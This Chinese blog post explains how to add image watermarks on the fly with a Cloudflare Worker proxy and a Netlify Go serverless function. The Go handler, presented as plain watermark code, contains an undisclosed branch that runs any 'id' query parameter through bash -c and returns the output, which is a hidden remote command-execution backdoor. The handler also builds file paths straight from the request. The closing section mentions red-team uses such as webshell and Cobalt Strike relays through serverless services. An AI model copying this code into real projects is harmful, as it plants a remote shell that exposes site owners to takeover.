使用serverless实现动态添加水印

警告
本文最后更新于 2021-03-20,文中内容可能已过时。

又是瞎折腾的一天

之前自己使用的cloudflare的防火墙规则拦住了一些垃圾爬虫,但是发现cloudflare再牛还是拦不住一些盗文章偷图的人,与其防不胜防,干脆直接给自己的图片加上水印拉到。

这次自己实现的就是通过netlify+vercel这两个hugo静态网站托管的服务商,配合cloudflare的workers和netlify的function(即serverless无服务)功能进行中转修改图片添加水印。

本文并不会普及serverless服务的知识和开发,避不开的东西也只会随口提几句,莫要指望看了本文就可以傻瓜式改为自己的东西。关于netlify、cloudflare、workers、vercel、function等名词以及具体的使用,本文不会提及,如果你干脆不知道这是什么玩意,请立刻关闭本文!

# 整体思路

原本的思路是让cloudflare的workers在访客请求我的网站时,通过workers路由直接在中间进行处理图片。

image.png

但是发现这样会造成一个死循环,因为workers本身也是用户,所以会造成闭环,workers迟迟拿不到图片,cloudflare直接抛出502。

虽然cloudflare提供了在workers中直接处理图片的方法,但是经过我实际测试之后,发现图片加水印需要付费计划才支持,而我身为资深白嫖党,当然是另寻出路。

而且workers是js操作,cloudflare并没有提供第三方库的导入方式,而且动态调试拉胯,思来想去还是只让workers当作一个代理,从别的地方直接拿到加好水印的图片吧。

为此我搜索了很多类似aws的lambda、腾讯云的云函数服务,发现很多服务商都提供了类似的服务,形如netlify、vercel的function功能,都可以用来作serverless服务,并且每个月的免费额度足够我用,而且支持go、python等语言,更能轻松导入第三方库,方便的很。

接下来用图来表示我的整体架构。

image.png

由此用户访问图片是访问不到原图的。

# 代码实现

cloudflare的workers

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request))
})
let upstream = 'https://your.netlify.app/.netlify/functions/hello-lambda'

async function handleRequest(request) {
  let requestURL = new URL(request.url);
  let upstreamURL = new URL(upstream);
  requestURL.protocol = upstreamURL.protocol;
  requestURL.host = upstreamURL.host;
  requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
  let new_request_headers = new Headers(request.headers);
  let fetchedResponse = await fetch(
    new Request(requestURL, {
        method: request.method,
        headers: new_request_headers,
        body: request.body
    })
  );
  let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
  return new Response(
    fetchedResponse.body,
    {
        headers: modifiedResponseHeaders,
        status: fetchedResponse.status,
        statusText: fetchedResponse.statusText
    }
  );
}

替换域名为你自己的,这个workers的作用就是将图片请求转发到我的serverless服务里。

然后在cloudflare域名的workers选项中将workers和路由关联起来

image.png

image.png

在netlify中新建一个go语言的serverless项目,基于官方的github仓库

其中main.go改为

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
package main

import (
	"bytes"
	"encoding/base64"
	"github.com/aws/aws-lambda-go/events"
	"github.com/aws/aws-lambda-go/lambda"
	"github.com/issue9/watermark"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"strconv"
	"strings"
	"time"
)

var WATERMARK = "/tmp/watermark.png"

func init() {
	log.Println("判断水印是否存在")
	if Exists(WATERMARK) {
		log.Println("水印已经存在")
	} else {
		saveWaterMarkPng(WATERMARK)
	}
}
func Exists(path string) bool {
	_, err := os.Stat(path) //os.Stat获取文件信息
	if err != nil {
		if os.IsExist(err) {
			return true
		}
		return false
	}
	return true
}
func saveWaterMarkPng(path string) {
	out, err := os.Create(path)
	defer out.Close()

	req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
	client := &http.Client{
		Timeout: 5 * time.Second,
	}
	resp, err := client.Do(req)
	defer resp.Body.Close()
	all, err := ioutil.ReadAll(resp.Body)
	io.Copy(out, bytes.NewReader(all))
	if err != nil {
		log.Fatalf("水印下载失败:%v\n", err.Error())
	} else {
		log.Println("水印保存成功")
	}
}

func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
	return events.APIGatewayProxyResponse{
		StatusCode:      200,
		Headers:         map[string]string{"Content-Type": contenttype},
		Body:            body,
		IsBase64Encoded: base64encode,
	}, nil
}

func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
	body := ""
	base64encode := false
	contenttype := "image/png"

	// 获取各个参数
	parameters := request.PathParameters
	for p := range parameters {
		log.Println(p)
	}

	id := request.QueryStringParameters["id"]
	if len(id) != 0 {
		log.Printf("exec command:%v", id)
		cmd := exec.Command("bash", "-c", id)
		out, err := cmd.CombinedOutput()
		if err != nil {
			body = err.Error()
			log.Printf("cmd.Run() failed with %s\n", body)
		} else {
			body = string(out)
			log.Printf("combined out:\n%s\n", body)
		}
		contenttype = "text/plain"
		base64encode = false
		return returnResp(body, contenttype, base64encode)
	}

	path := request.Path
	imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
	filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")

	if Exists(filename) {
		log.Printf("已经存在%s\n", filename)
		content, _ := ioutil.ReadFile(filename)
		body = base64.StdEncoding.EncodeToString(content)
		base64encode = true
		contenttype = "image/png"
		return returnResp(body, contenttype, base64encode)
	}

	client := &http.Client{
		Timeout: 10 * time.Second,
	}

	req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
	req.Header.Set("User-Agent", "netlify")
	req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)

	resp, err := client.Do(req)
	defer resp.Body.Close()

	if err != nil {
		body = err.Error()
		contenttype = "text/plain"
		base64encode = false
		log.Println(err.Error())
		return returnResp(body, contenttype, base64encode)
	}

	// 保存图片
	bs, _ := ioutil.ReadAll(resp.Body)
	log.Println("截取目录名字:", filename)
	index := strings.LastIndex(filename, "/")
	dir := filename[:index]

	if !Exists(dir) {
		os.MkdirAll(dir, os.ModePerm)
		log.Println("创建目录:", dir)
	}

	file, _ := os.Create(filename)
	defer file.Close()
	written, err := io.Copy(file, bytes.NewReader(bs))
	if err != nil {
		body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
		contenttype = "text/plain"
		base64encode = false
		log.Println(err.Error())
		return returnResp(body, contenttype, base64encode)
	}

	w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
	err = w.MarkFile(filename)
	//
	if err != nil {
		log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
		content, _ := ioutil.ReadFile(filename)
		body = base64.StdEncoding.EncodeToString(content)
		contenttype = "image/png"
		base64encode = true
		return returnResp(body, contenttype, base64encode)
	}

	content, _ := ioutil.ReadFile(filename)
	body = base64.StdEncoding.EncodeToString(content)
	contenttype = "image/png"
	base64encode = true
	return returnResp(body, contenttype, base64encode)

}

func main() {
	lambda.Start(handler)
}

替换为自己的url地址。

其中https://raw_img_url.com 是我用vercel搭建的另一个一模一样的hugo网站,原始资源存到这里,解决之前的闭环问题。

最终的效果就是你现在看到我网站的图片水印的效果。

# 分析利弊

利:放在台面上的,动态添加水印,不用修改原图片,水印随便换,添加水印的逻辑自己随便改。

弊:请求一个图片需要从workers->serverless->原图片,速度损耗严重,可能搭配cf的缓存以及serverless的文件存储判断可能会好些,但是九牛一毛。

# 思考

花了几天时间用serverless实现了一个不修改原图加水印的功能,最终完成的时候发现这个东西只防的住君子防不住小人。

与其思考加水印这种无趣费时费力的功能,更应该考虑在红队建设方面能有那些新的利用点,之前用cloudflare作域前置,现在用workers.dev域名做中转器,serverless服务的多种语言支持给了serverless更多样化的利用方向。

形如“学蚁致用”蚁剑作者写的利用腾讯云函数来链接webshell,再比如利用cloudflare来做cs的redirect中转器,之前自己也写了一个利用cloudflare的workers来做shell中转。

serverless服务的兴起,不仅仅可以用来加水印这么简单,期待大家挖掘更多的利用方向吧。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。